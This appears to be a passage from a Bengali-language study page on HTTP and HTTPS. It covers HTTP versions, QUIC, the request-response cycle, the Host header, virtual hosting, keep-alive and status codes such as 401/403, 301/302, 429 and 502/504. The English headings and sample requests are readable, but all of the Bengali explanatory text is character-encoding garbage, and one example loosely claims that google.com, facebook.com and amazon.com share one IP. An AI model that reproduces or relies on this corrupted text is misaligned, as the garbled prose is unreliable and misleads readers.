Skip to main content

HTTP & HTTPS

🌐 60. What are HTTP and HTTPS protocols?​

HTTP (HyperText Transfer Protocol) āĻšāϞ⧋ āχāĻ¨ā§āϟāĻžāϰāύ⧇āĻŸā§‡ āĻ•ā§āϞāĻžāϝāĻŧ⧇āĻ¨ā§āϟ (āĻŦā§āϰāĻžāωāϜāĻžāϰ) āĻāĻŦāĻ‚ āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇āϰ āĻŽāĻ§ā§āϝ⧇ āϤāĻĨā§āϝ āφāĻĻāĻžāύ-āĻĒā§āϰāĻĻāĻžāύ āĻ•āϰāĻžāϰ āĻŽā§‚āϞ āĻĒā§āϰ⧋āĻŸā§‹āĻ•āϞāĨ¤ āĻāϟāĻŋ āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¸ā§āϟ-āϰ⧇āϏāĻĒāĻ¨ā§āϏ āĻŽāĻĄā§‡āϞ⧇ āĻ•āĻžāϜ āĻ•āϰ⧇ āĻāĻŦāĻ‚ āĻĒā§‹āĻ°ā§āϟ 80 āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧇āĨ¤ HTTPS (HTTP Secure) āĻšāϞ⧋ HTTP āĻāϰāχ āύāĻŋāϰāĻžāĻĒāĻĻ āĻŦāĻž āĻāύāĻ•ā§āϰāĻŋāĻĒā§āϟ āĻ•āϰāĻž āĻ­āĻžāĻ°ā§āϏāύāĨ¤ āĻāϟāĻŋ āĻĄā§‡āϟāĻžāϰ āύāĻŋāϰāĻžāĻĒāĻ¤ā§āϤāĻž āĻĻāĻŋāϤ⧇ TLS āĻĒā§āϰ⧋āĻŸā§‹āĻ•āϞ āϝ⧁āĻ•ā§āϤ āĻ•āϰ⧇ āĻāĻŦāĻ‚ āĻĒā§‹āĻ°ā§āϟ 443 āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧇āĨ¤

🆚 What is the difference between HTTP/1.0, HTTP/1.1, HTTP/2, and HTTP/3?​

āĻ­āĻžāĻ°ā§āϏāύāĻŦ⧈āĻļāĻŋāĻˇā§āĻŸā§āϝ āĻāĻŦāĻ‚ āĻĒāĻžāĻ°ā§āĻĨāĻ•ā§āϝ
HTTP/1.0āĻĒā§āϰāϤāĻŋāϟāĻŋ āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¸ā§āĻŸā§‡āϰ āϜāĻ¨ā§āϝ āύāϤ⧁āύ TCP āĻ•āĻžāύ⧇āĻ•āĻļāύ āϤ⧈āϰāĻŋ āĻ•āϰāϤ⧇ āĻšāϤ⧋ āĻāĻŦāĻ‚ āϰ⧇āϏāĻĒāĻ¨ā§āϏ āĻĒ⧇āϞ⧇ āϤāĻž āĻŦāĻ¨ā§āϧ āĻšāϝāĻŧ⧇ āϝ⧇āϤāĨ¤ āĻāϟāĻŋ āĻ…āύ⧇āĻ• āĻ¸ā§āϞ⧋ āĻ›āĻŋāϞāĨ¤
HTTP/1.1Keep-Alive āĻ…āĻĒāĻļāύ āύāĻŋāϝāĻŧ⧇ āφāϏ⧇āĨ¤ āĻāĻ•āχ TCP āĻ•āĻžāύ⧇āĻ•āĻļāύ āĻ–ā§‹āϞāĻž āϰ⧇āϖ⧇ āĻĒāϰ āĻĒāϰ āĻāĻ•āĻžāϧāĻŋāĻ• āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¸ā§āϟ āĻĒāĻžāĻ āĻžāύ⧋ āϝāĻžāϝāĻŧāĨ¤ āϤāĻŦ⧇ "Head-of-Line Blocking" āϏāĻŽāĻ¸ā§āϝāĻž āĻ›āĻŋāϞ (āφāϗ⧇āϰ āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¸ā§āϟ āĻā§āϞ⧇ āĻĨāĻžāĻ•āϞ⧇ āĻĒāϰ⧇āϰāϗ⧁āϞ⧋ āφāϟāϕ⧇ āϝ⧇āϤ)āĨ¤
HTTP/2Multiplexing āύāĻŋāϝāĻŧ⧇ āφāϏ⧇āĨ¤ āĻ…āĻ°ā§āĻĨāĻžā§Ž, āĻāĻ•āϟāĻŋāĻŽāĻžāĻ¤ā§āϰ TCP āĻ•āĻžāύ⧇āĻ•āĻļāύ⧇āϰ āϭ⧇āϤāϰ āĻĻāĻŋāϝāĻŧ⧇ āĻāĻ•āϏāĻžāĻĨ⧇ āĻ…āύ⧇āĻ•āϗ⧁āϞ⧋ āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¸ā§āϟ āĻāĻŦāĻ‚ āϰ⧇āϏāĻĒāĻ¨ā§āϏ āĻĒā§āϝāĻžāϰāĻžāϞāĻžāϞāĻŋ āĻāĻŦāĻ‚ āĻŦāĻžāχāύāĻžāϰāĻŋ āĻĢāϰāĻŽā§‡āĻŸā§‡ āĻĒāĻžāĻ āĻžāύ⧋ āϏāĻŽā§āĻ­āĻŦāĨ¤ āĻĒ⧇āϜ āϞ⧋āĻĄ āĻĢāĻžāĻ¸ā§āϟ āĻšāϝāĻŧāĨ¤
HTTP/3TCP āϕ⧇ āĻĒ⧁āϰ⧋āĻĒ⧁āϰāĻŋ āĻŦāĻžāĻĻ āĻĻāĻŋāϝāĻŧ⧇ UDP-āĻ­āĻŋāĻ¤ā§āϤāĻŋāĻ• QUIC āĻĒā§āϰ⧋āĻŸā§‹āĻ•āϞ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻļ⧁āϰ⧁ āĻ•āϰ⧇āĨ¤ āĻāϟāĻŋ āĻ•āĻžāύ⧇āĻ•āĻļāύ āĻ“āĻ­āĻžāϰāĻšā§‡āĻĄ āĻ•āĻŽāĻŋāϝāĻŧ⧇ āĻ•āĻŽ āϞ⧇āĻŸā§‡āĻ¨ā§āϏāĻŋāϰ (0-RTT) āϏ⧁āĻŦāĻŋāϧāĻž āĻĻ⧇āϝāĻŧāĨ¤

⚡ What protocol does HTTP/3 use instead of TCP, and why?​

HTTP/3 āĻŸā§āϰāĻžāĻ¨ā§āϏāĻĒā§‹āĻ°ā§āϟ āϞ⧇āϝāĻŧāĻžāϰ āĻĒā§āϰ⧋āĻŸā§‹āĻ•āϞ āĻšāĻŋāϏ⧇āĻŦ⧇ TCP-āĻāϰ āĻĒāϰāĻŋāĻŦāĻ°ā§āϤ⧇ QUIC (Quick UDP Internet Connections) āĻĒā§āϰ⧋āĻŸā§‹āĻ•āϞ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧇, āϝāĻž āĻŽā§‚āϞāϤ UDP āĻāϰ āĻ“āĻĒāϰ āϤ⧈āϰāĻŋāĨ¤

  • āϕ⧇āύ? TCP āϤ⧇ āĻ•āĻžāύ⧇āĻ•āĻļāύ āϤ⧈āϰāĻŋ āĻ•āϰāϤ⧇ 3-way Handshake āĻāĻŦāĻ‚ āĻāύāĻ•ā§āϰāĻŋāĻĒāĻļāύ⧇āϰ āϜāĻ¨ā§āϝ TLS Handshake āĻŽāĻŋāϞ⧇ āĻ…āύ⧇āĻ• āϏāĻŽāϝāĻŧ āύāĻˇā§āϟ āĻšāϤ⧋āĨ¤ āĻāĻ›āĻžāĻĄāĻŧāĻž TCP-āϤ⧇ āĻāĻ•āϟāĻŋ āĻĒā§āϝāĻžāϕ⧇āĻŸā§‡ āĻāϰāϰ āĻšāϞ⧇ āĻĒ⧁āϰ⧋ āĻ•āĻžāύ⧇āĻ•āĻļāύ āφāϟāϕ⧇ āϝ⧇āϤāĨ¤ QUIC āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧇ UDP-āĻāϰ āĻ—āϤāĻŋāϰ āϏāĻžāĻĨ⧇ āχāύ-āĻŦāĻŋāĻ˛ā§āϟ āĻāύāĻ•ā§āϰāĻŋāĻĒāĻļāύ āĻāĻŦāĻ‚ āĻŽāĻžāĻ˛ā§āϟāĻŋāĻĒā§āϞ⧇āĻ•ā§āϏāĻŋāĻ‚ āϝ⧁āĻ•ā§āϤ āĻ•āϰ⧇ āĻāχ āĻ˛ā§āϝāĻžāĻŸā§‡āĻ¨ā§āϏāĻŋ āϏāĻŽāĻ¸ā§āϝāĻžāϗ⧁āϞ⧋ āĻĻā§‚āϰ āĻ•āϰāĻž āĻšāϝāĻŧ⧇āϛ⧇āĨ¤

🔄 61. What happens during an HTTP request-response cycle?​

URL type → DNS → TCP → TLS → Request → Server → Response → Render

📌 Step by Step​

1ī¸âƒŖ DNS Resolution​
google.com → āϕ⧋āĻĨāĻžāϝāĻŧ?
Browser cache → OS cache → Router → ISP DNS
│
â–ŧ
142.250.190.46 ✅
2ī¸âƒŖ TCP + TLS​
TCP:  SYN → SYN-ACK → ACK        (connection)
TLS: ClientHello → ServerHello (encryption)
3ī¸âƒŖ HTTP Request āĻĒāĻžāĻ āĻžāĻ“â€‹
GET /search?q=hello HTTP/1.1
Host: www.google.com
User-Agent: Chrome/120
Accept: text/html
Cookie: SID=abc123
4ī¸âƒŖ Server Process āĻ•āĻ°ā§‡â€‹
Load Balancer → Web Server → App Server → DB/Cache
│
Response āϤ⧈āϰāĻŋ
5ī¸âƒŖ HTTP Response āφāĻ¸ā§‡â€‹
HTTP/1.1 200 OK
Content-Type: text/html
Content-Encoding: gzip
<!DOCTYPE html>...
6ī¸âƒŖ Browser Render āĻ•āĻ°ā§‡â€‹
HTML parse → DOM
CSS parse → CSSOM
DOM+CSSOM → Render Tree → Paint 🎨

📊 Status Codes — āĻŽāύ⧇ āϰāĻžāĻ–ā§‹â€‹

2xx → ✅ Success        (200 OK, 201 Created)
3xx → 🔀 Redirect (301 Permanent, 304 Cached)
4xx → ❌ Client Error (401, 403, 404, 429)
5xx → đŸ’Ĩ Server Error (500, 502, 503)

🚀 HTTP Versions​

HTTP/1.1 → Keep-Alive, āĻ•āĻŋāĻ¨ā§āϤ⧁ HOL blocking
HTTP/2 → Multiplexing, Header compression
HTTP/3 → QUIC (UDP), fastest 🚀

đŸˇī¸ What is the role of the Host header in HTTP/1.1?​

âš ī¸ āϏāĻŽāĻ¸ā§āϝāĻžāϟāĻž āϕ⧀ āĻ›āĻŋāϞ?​

HTTP/1.0 āϤ⧇ Host header āĻ›āĻŋāϞ āύāĻžāĨ¤ āϤāĻ–āύ:

Client → TCP connect āĻ•āϰ⧇ IP: 192.168.1.1
Client → "GET /index.html āĻĻāĻžāĻ“"
Server āĻ­āĻžāĻŦ⧇: "āϕ⧋āύ website āĻāϰ āϜāĻ¨ā§āϝ? āϜāĻžāύāĻŋ āύāĻž!"

āĻāĻ•āϟāĻž IP āϤ⧇ āϤāĻ–āύ āĻāĻ•āϟāĻžāχ website āĻšā§‹āĻ¸ā§āϟ āĻ•āϰāĻž āϝ⧇āϤāĨ¤â€‹

đŸŽ¯ Host Header āϕ⧀ Solve āĻ•āϰ⧇?​

āφāϜāϕ⧇ āĻāĻ•āϟāĻž server āĻ āĻšāĻžāϜāĻžāϰ⧋ website āĻĨāĻžāĻ•āϤ⧇ āĻĒāĻžāϰ⧇ — āϏāĻŦāĻžāϰ āĻāĻ•āχ IP:

IP: 104.21.30.45 āĻ āφāϛ⧇:
→ google.com
→ facebook.com
→ amazon.com
→ āφāϰ⧋ āĻšāĻžāϜāĻžāϰāϟāĻž!

Host header āĻŦāϞ⧇ āĻĻ⧇āϝāĻŧ "āĻāχ IP āϤ⧇ āϕ⧋āύ website āϚāĻžāχ:"

GET /index.html HTTP/1.1
Host: google.com ← āĻāϟāĻžāχ key!

đŸ–Ĩī¸ Virtual Hosting — Host Header āĻāϰ āφāϏāϞ āϜāĻžāĻĻā§â€‹

CLIENT                         SERVER (104.21.30.45)
│ │
│ GET / HTTP/1.1 │
│ Host: site-a.com ────────────â–ļ│
│ │ Host āĻĻ⧇āϖ⧇ route āĻ•āϰ⧇
│ ├──â–ļ site-a.com files
│ │
│ GET / HTTP/1.1 │
│ Host: site-b.com ────────────â–ļ│
│ ├──â–ļ site-b.com files
│ │
│ GET / HTTP/1.1 │
│ Host: site-c.com ────────────â–ļ│
│ └──â–ļ site-c.com files

Server āĻāĻ•āχ IP āĻĨ⧇āϕ⧇ āϤāĻŋāύāϟāĻž āφāϞāĻžāĻĻāĻž website serve āĻ•āϰāϞ⧋! āĻāϟāĻžāϕ⧇āχ āĻŦāϞ⧇ Virtual HostingāĨ¤â€‹

❗ Host Header Mandatory — āϕ⧇āύ?​

HTTP/1.1 āĻ Host header mandatory — āύāĻž āĻĻāĻŋāϞ⧇:

GET / HTTP/1.1
(Host āύ⧇āχ!)
Server → 400 Bad Request ❌

RFC 2616 clearly āĻŦāϞ⧇: "HTTP/1.1 request must include a Host header"​

📝 Real Request āĻ āϕ⧇āĻŽāύ āĻĻ⧇āĻ–āĻžāϝāĻŧ​

GET /search?q=hello HTTP/1.1
Host: www.google.com ← domain + optional port
User-Agent: Chrome/120
Accept: text/html

Port āϏāĻš:

GET / HTTP/1.1
Host: localhost:3000 ← development āĻ āĻāĻ­āĻžāĻŦ⧇

🔄 Host Header āĻ›āĻžāĻĄāĻŧāĻž āφāϰ āϕ⧇ Use āĻ•āϰ⧇?​

Reverse Proxy / Load Balancer:

Client → "Host: api.example.com"
│
Nginx/HAProxy
│
Host āĻĻ⧇āϖ⧇ route āĻ•āϰ⧇:
api.example.com → Backend Server A
web.example.com → Backend Server B
cdn.example.com → CDN Server

CDN:

Host: example.com āφāϏāϞ⧇ →
CDN āϜāĻžāύ⧇ āϕ⧋āύ origin server āĻĨ⧇āϕ⧇ content āφāύāϤ⧇ āĻšāĻŦ⧇

â­ī¸ HTTP/2 āĻ āϕ⧀ āĻšāϞ⧋?​

HTTP/2 āϤ⧇ Host header replace āĻšāϝāĻŧ⧇āϛ⧇ :authority pseudo-header āĻĻāĻŋāϝāĻŧ⧇:

HTTP/1.1:             HTTP/2:
Host: google.com → :authority: google.com

🤝 How does persistent connection (keep-alive) work in HTTP/1.1?​

HTTP/1.1-āĻ āĻĄāĻŋāĻĢāĻ˛ā§āϟāĻ­āĻžāĻŦ⧇āχ āĻ•āĻžāύ⧇āĻ•āĻļāύāϗ⧁āϞ⧋ Persistent (āĻĻā§€āĻ°ā§āϘāĻ¸ā§āĻĨāĻžāϝāĻŧā§€) āĻšāϝāĻŧāĨ¤

  • āϝāĻ–āύ āĻŦā§āϰāĻžāωāϜāĻžāϰ āĻĒā§āϰāĻĨāĻŽāĻŦāĻžāϰ āĻāĻ•āϟāĻŋ HTML āĻĒ⧇āϜ āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¸ā§āϟ āĻ•āϰ⧇, āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻĒ⧇āϜāϟāĻŋ āϰ⧇āϏāĻĒāĻ¨ā§āϏ āĻšāĻŋāϏ⧇āĻŦ⧇ āĻĻāĻŋāϝāĻŧ⧇ āĻĻ⧇āϝāĻŧ āĻ•āĻŋāĻ¨ā§āϤ⧁ TCP āĻ•āĻžāύ⧇āĻ•āĻļāύāϟāĻŋ āĻŦāĻ¨ā§āϧ āĻ•āϰ⧇ āĻĻ⧇āϝāĻŧ āύāĻžāĨ¤
  • āĻŦā§āϰāĻžāωāϜāĻžāϰ āϏ⧇āχ āĻĒ⧇āϜ āĻĒāĻĄāĻŧ⧇ āϝāĻ–āύ āĻĻ⧇āϖ⧇ āϝ⧇ āĻāĻ–āĻžāύ⧇ āφāϰāĻ“ ā§§ā§ĻāϟāĻŋ āĻ›āĻŦāĻŋ āĻāĻŦāĻ‚ āϏāĻŋāĻāϏāĻāϏ (CSS) āĻāϰ āϞāĻŋāĻ‚āĻ• āφāϛ⧇, āϤāĻ–āύ āĻŦā§āϰāĻžāωāϜāĻžāϰ āύāϤ⧁āύ āĻ•āϰ⧇ āĻšā§āϝāĻžāĻ¨ā§āĻĄāĻļ⧇āĻ• āύāĻž āĻ•āϰ⧇ āĻ“āχ āĻāĻ•āχ āĻ–ā§‹āϞāĻž āĻĒāĻžāχāĻĒāϞāĻžāχāύ āĻĻāĻŋāϝāĻŧ⧇ āĻŦāĻžāĻ•āĻŋ āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¸ā§āϟāϗ⧁āϞ⧋ āĻĻā§āϰ⧁āϤ āĻĒāĻžāĻ āĻŋāϝāĻŧ⧇ āĻĻ⧇āϝāĻŧāĨ¤ āĻ•āĻžāϜ āĻļ⧇āώ āĻšāϞ⧇ āύāĻŋāĻ°ā§āĻĻāĻŋāĻˇā§āϟ āϟāĻžāχāĻŽāφāωāϟ āĻĒāϰ āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻ•āĻžāύ⧇āĻ•āĻļāύāϟāĻŋ āĻĄā§āϰāĻĒ āĻ•āϰ⧇āĨ¤

📊 62. What are HTTP status codes (200 OK, 404 Not Found, 500 Internal Server Error)?​

āϏāĻžāĻ°ā§āĻ­āĻžāϰ āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¸ā§āĻŸā§‡āϰ āĻĢāϞāĻžāĻĢāϞ āϕ⧀ āĻšāϞ⧋, āϤāĻž āϏāĻ‚āĻ•ā§āώ⧇āĻĒ⧇ āĻŦā§‹āĻāĻžāϤ⧇ ā§Š-āĻĄāĻŋāϜāĻŋāĻŸā§‡āϰ āĻ¸ā§āĻŸā§āϝāĻžāϟāĻžāϏ āϕ⧋āĻĄ āĻĒāĻžāĻ āĻžāϝāĻŧāĨ¤ āĻāϗ⧁āϞ⧋ ā§ĢāϟāĻŋ āĻ•ā§āϞāĻžāϏ⧇ āĻŦāĻŋāĻ­āĻ•ā§āϤ:

  • 1xx: Informational (āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¸ā§āϟ āĻ—ā§āϰāĻšāĻŖ āĻ•āϰāĻž āĻšāϝāĻŧ⧇āϛ⧇, āĻĒā§āϰāϏ⧇āϏ āϚāϞāϛ⧇)
  • 2xx: Success (āϏāĻĢāϞāĻ­āĻžāĻŦ⧇ āϏāĻŽā§āĻĒāĻ¨ā§āύ āĻšāϝāĻŧ⧇āϛ⧇)
  • 3xx: Redirection (āφāĻĒāύāĻžāϰ āϚāĻžāĻ“āϝāĻŧāĻž āĻĄā§‡āϟāĻž āĻ…āĻ¨ā§āϝ āĻ āĻŋāĻ•āĻžāύāĻžāϝāĻŧ āĻŽā§āĻ­ āĻšāϝāĻŧ⧇āϛ⧇)
  • 4xx: Client Error (āĻ•ā§āϞāĻžāϝāĻŧ⧇āĻ¨ā§āĻŸā§‡āϰ āĻ…āĻ°ā§āĻĨāĻžā§Ž āχāωāϜāĻžāϰ⧇āϰ āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¸ā§āϟ āϭ⧁āϞ āĻ›āĻŋāϞ)
  • 5xx: Server Error (āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇āϰ āϭ⧇āϤāϰ⧇ āϕ⧋āĻĄā§‡ āĻāϰāϰ āĻšāϝāĻŧ⧇āϛ⧇)

đŸšĢ What is the difference between 401 Unauthorized and 403 Forbidden?​

  • 401 Unauthorized: āχāωāϜāĻžāϰ āϏāĻŋāĻ¸ā§āĻŸā§‡āĻŽā§‡ āϞāĻ—āχāύ āĻŦāĻž āĻ…āĻĨ⧇āύāϟāĻŋāϕ⧇āĻŸā§‡āĻĄ āύāϝāĻŧāĨ¤ āĻ…āĻ°ā§āĻĨāĻžā§Ž āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻŦāϞ⧇, "āφāĻŽāĻŋ āϜāĻžāύāĻŋ āύāĻž āϤ⧁āĻŽāĻŋ āϕ⧇, āφāϗ⧇ āϞāĻ—āχāύ āĻ•āϰ⧇ āĻŸā§‹āϕ⧇āύ āύāĻŋāϝāĻŧ⧇ āφāϏ⧋āĨ¤"
  • 403 Forbidden: āχāωāϜāĻžāϰ āϏāĻŋāĻ¸ā§āĻŸā§‡āĻŽā§‡ āϞāĻ—āχāύ āĻ•āϰāĻž āφāϛ⧇ āĻāĻŦāĻ‚ āϏāĻžāĻ°ā§āĻ­āĻžāϰ āϤāĻžāϕ⧇ āĻšā§‡āύ⧇, āĻ•āĻŋāĻ¨ā§āϤ⧁ āĻ“āχ āύāĻŋāĻ°ā§āĻĻāĻŋāĻˇā§āϟ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āĻŦāĻž āϰāĻŋāϏ⧋āĻ°ā§āϏ āĻāĻ•ā§āϏ⧇āϏ āĻ•āϰāĻžāϰ āĻĒāĻžāϰāĻŽāĻŋāĻļāύ āχāωāϜāĻžāϰ⧇āϰ āύ⧇āχāĨ¤ āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻŦāϞ⧇, "āφāĻŽāĻŋ āϜāĻžāύāĻŋ āϤ⧁āĻŽāĻŋ āϕ⧇, āĻ•āĻŋāĻ¨ā§āϤ⧁ āϤ⧋āĻŽāĻžāϰ āĻāĻ–āĻžāύ⧇ āĻĸā§‹āĻ•āĻžāϰ āĻ…āύ⧁āĻŽāϤāĻŋ āύ⧇āχāĨ¤"

🔀 What is the difference between 301 and 302 redirects?​

  • 301 Moved Permanently: āχāωāϜāĻžāϰ āϝ⧇ āĻĒ⧇āϜ āϚāĻžāĻšā§āϛ⧇ āϤāĻž āϚāĻŋāϰāĻ•āĻžāϞ⧇āϰ āϜāĻ¨ā§āϝ āύāϤ⧁āύ āĻ āĻŋāĻ•āĻžāύāĻžāϝāĻŧ āĻŽā§āĻ­ āĻ•āϰāĻž āĻšāϝāĻŧ⧇āϛ⧇āĨ¤ āϗ⧁āĻ—āϞ āĻŦāĻž āϏāĻžāĻ°ā§āϚ āχāĻžā§āϜāĻŋāύāϗ⧁āϞ⧋ āĻāχ āϕ⧋āĻĄ āĻĻ⧇āĻ–āϞ⧇ āϤāĻžāĻĻ⧇āϰ āϏāĻžāĻ°ā§āϚ āϰ⧇āϜāĻžāĻ˛ā§āϟāĻ“ āφāĻĒāĻĄā§‡āϟ āĻ•āϰ⧇ āύ⧇āϝāĻŧāĨ¤
  • 302 Found (Temporary Redirect): āĻ“āχ āĻĒ⧇āϜāϟāĻŋ āϏāĻžāĻŽāϝāĻŧāĻŋāĻ•āĻ­āĻžāĻŦ⧇ āĻ…āĻ¨ā§āϝ āĻ āĻŋāĻ•āĻžāύāĻžāϝāĻŧ āĻĒāĻžāĻ āĻžāύ⧋ āĻšāĻšā§āϛ⧇āĨ¤ āϝ⧇āĻŽāύ, āĻ“āϝāĻŧ⧇āĻŦāϏāĻžāχāϟ āĻŽā§‡āχāύāĻŸā§‡āύ⧇āĻ¨ā§āϏ āϚāϞāĻžāϰ āϏāĻŽāϝāĻŧ āĻāĻ•āϟāĻŋ āĻŸā§‡āĻŽā§āĻĒāϰāĻžāϰāĻŋ āĻĒ⧇āĻœā§‡ āχāωāϜāĻžāϰāϕ⧇ āĻĒāĻžāĻ āĻžāύ⧋āĨ¤ āϏāĻžāĻ°ā§āϚ āχāĻžā§āϜāĻŋāύ āĻāĻ–āĻžāύ⧇ āχāύāĻĄā§‡āĻ•ā§āϏ āφāĻĒāĻĄā§‡āϟ āĻ•āϰ⧇ āύāĻžāĨ¤

âŗ When would you use 429 Too Many Requests?​

āϝāĻ–āύ āϕ⧋āύ⧋ āχāωāϜāĻžāϰ āĻŦāĻž āĻ•ā§āϞāĻžāϝāĻŧ⧇āĻ¨ā§āϟ āĻāĻĒāĻŋāφāχ (API) āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇āϰ āĻ•āĻžāϛ⧇ āύāĻŋāĻ°ā§āĻĻāĻŋāĻˇā§āϟ āϏāĻŽāϝāĻŧ⧇āϰ āĻŽāĻ§ā§āϝ⧇ āĻŽāĻžāĻ¤ā§āϰāĻžāϤāĻŋāϰāĻŋāĻ•ā§āϤ āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¸ā§āϟ (Spamming āĻŦāĻž DDoS) āĻĒāĻžāĻ āĻžāϤ⧇ āĻĨāĻžāϕ⧇, āϤāĻ–āύ āϰ⧇āϟ āϞāĻŋāĻŽāĻŋāϟāĻŋāĻ‚ (Rate Limiting) āĻŽā§‡āĻ•āĻžāύāĻŋāϜāĻŽ āĻ•ā§āϞāĻžāϝāĻŧ⧇āĻ¨ā§āϟāϕ⧇ āĻŦā§āϞāĻ• āĻ•āϰ⧇ 429 Too Many Requests āĻ¸ā§āĻŸā§āϝāĻžāϟāĻžāϏ āϕ⧋āĻĄ āĻĻ⧇āϝāĻŧāĨ¤ āĻāϰ āϏāĻžāĻĨ⧇ Retry-After āĻšā§‡āĻĄāĻžāϰ āĻĻāĻŋāϝāĻŧ⧇ āĻŦāϞ⧇ āĻĻ⧇āĻ“āϝāĻŧāĻž āϝāĻžāϝāĻŧ āĻ•āϤāĻ•ā§āώāĻŖ āĻĒāϰ āϏ⧇ āφāĻŦāĻžāϰ āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¸ā§āϟ āĻ•āϰāϤ⧇ āĻĒāĻžāϰāĻŦ⧇āĨ¤

đŸ’Ĩ What is the difference between a 502 Bad Gateway and a 504 Gateway Timeout?​

āωāĻ­āϝāĻŧ āϕ⧋āĻĄāχ āĻŽā§‚āϞāϤ Nginx āĻŦāĻž āϞ⧋āĻĄ āĻŦā§āϝāĻžāϞ⧇āĻ¨ā§āϏāĻžāϰ⧇āϰ āĻŽāϤ⧋ āĻĒā§āϰāĻ•ā§āϏāĻŋ āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻĨ⧇āϕ⧇ āφāϏ⧇, āϝāĻ–āύ āĻĒ⧇āĻ›āύ⧇āϰ āĻŽā§‚āϞ āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇ (āϝ⧇āĻŽāύ Node.js āĻŦāĻž PHP) āϏāĻŽāĻ¸ā§āϝāĻž āĻĨāĻžāϕ⧇āĨ¤

  • 502 Bad Gateway: āϰāĻŋāĻ­āĻžāĻ°ā§āϏ āĻĒā§āϰāĻ•ā§āϏāĻŋ āĻĒ⧇āĻ›āύ⧇āϰ āĻŦā§āϝāĻžāĻ•āĻāĻ¨ā§āĻĄ āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇āϰ āĻ•āĻžāϛ⧇ āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¸ā§āϟ āĻĒāĻžāĻ āĻŋāϝāĻŧ⧇āĻ›āĻŋāϞ, āĻ•āĻŋāĻ¨ā§āϤ⧁ āĻŦā§āϝāĻžāĻ•āĻāĻ¨ā§āĻĄ āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻāĻ•āϟāĻŋ āχāύāĻ­ā§āϝāĻžāϞāĻŋāĻĄ (āϭ⧁āϞ) āϰ⧇āϏāĻĒāĻ¨ā§āϏ āĻĻāĻŋāϝāĻŧ⧇āϛ⧇ āĻŦāĻž āĻŦā§āϝāĻžāĻ•āĻāĻ¨ā§āĻĄ āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻ•ā§āĻ°ā§āϝāĻžāĻļ āĻ•āϰ⧇ āĻŦāĻ¨ā§āϧ āφāϛ⧇āĨ¤
  • 504 Gateway Timeout: āϰāĻŋāĻ­āĻžāĻ°ā§āϏ āĻĒā§āϰāĻ•ā§āϏāĻŋ āĻŦā§āϝāĻžāĻ•āĻāĻ¨ā§āĻĄāϕ⧇ āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¸ā§āϟ āĻĒāĻžāĻ āĻŋāϝāĻŧ⧇āĻ›āĻŋāϞ āĻāĻŦāĻ‚ āĻĄāĻžāϟāĻž āĻĒāĻžāĻ“āϝāĻŧāĻžāϰ āĻ…āĻĒ⧇āĻ•ā§āώāĻžāϝāĻŧ āĻŦāϏ⧇ āĻ›āĻŋāϞ, āĻ•āĻŋāĻ¨ā§āϤ⧁ āĻŦā§āϝāĻžāĻ•āĻāĻ¨ā§āĻĄ āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻāϤāϟāĻžāχ āĻŦāĻŋāϜāĻŋ āĻŦāĻž āĻ¸ā§āϞ⧋ āĻšāϝāĻŧ⧇ āϗ⧇āϛ⧇ āϝ⧇ āύāĻŋāĻ°ā§āĻĻāĻŋāĻˇā§āϟ āϏāĻŽāϝāĻŧ⧇āϰ āĻŽāĻ§ā§āϝ⧇ āϕ⧋āύ⧋ āϰ⧇āϏāĻĒāĻ¨ā§āϏāχ āĻĻāĻŋāϤ⧇ āĻĒāĻžāϰ⧇āύāĻŋāĨ¤

âš ī¸ Why do browsers show "Your connection is not private" for SSL errors?​

āĻŦā§āϰāĻžāωāϜāĻžāϰ⧇āϰ āĻāχ āĻŽā§‡āϏ⧇āϜāϟāĻŋ 401 Unauthorized āĻāϰāϰ āĻāϰ āĻ•āĻžāϰāϪ⧇ āφāϏ⧇ āύāĻž — 401 āĻšāϞ⧋ āĻ…ā§āϝāĻžāĻĒā§āϞāĻŋāϕ⧇āĻļāύ āϞ⧇āϭ⧇āϞ⧇āϰ āĻāĻĒāĻŋāφāχ āϰ⧇āϏāĻĒāĻ¨ā§āϏāĨ¤ "Your connection is not private" āϞ⧇āĻ–āĻžāϟāĻŋ āφāϏ⧇ āϝāĻ–āύ āĻāĻ•āϟāĻŋ āĻ“āϝāĻŧ⧇āĻŦāϏāĻžāχāĻŸā§‡āϰ TLS āϏāĻžāĻ°ā§āϟāĻŋāĻĢāĻŋāϕ⧇āϟ āĻ…āĻŦ⧈āϧ, āĻāĻ•ā§āϏāĻĒāĻžāϝāĻŧāĻžāϰāĻĄ āĻŦāĻž āĻŸā§āϰāĻžāĻ¸ā§āĻŸā§‡āĻĄ āύāĻž āĻšāϝāĻŧ (āϏāĻžāĻ°ā§āϟāĻŋāĻĢāĻŋāϕ⧇āϟ āĻāϰāϰ)āĨ¤ āĻŦā§āϰāĻžāωāϜāĻžāϰ āϏāĻŋāĻ•āĻŋāωāϰāĻŋāϟāĻŋ 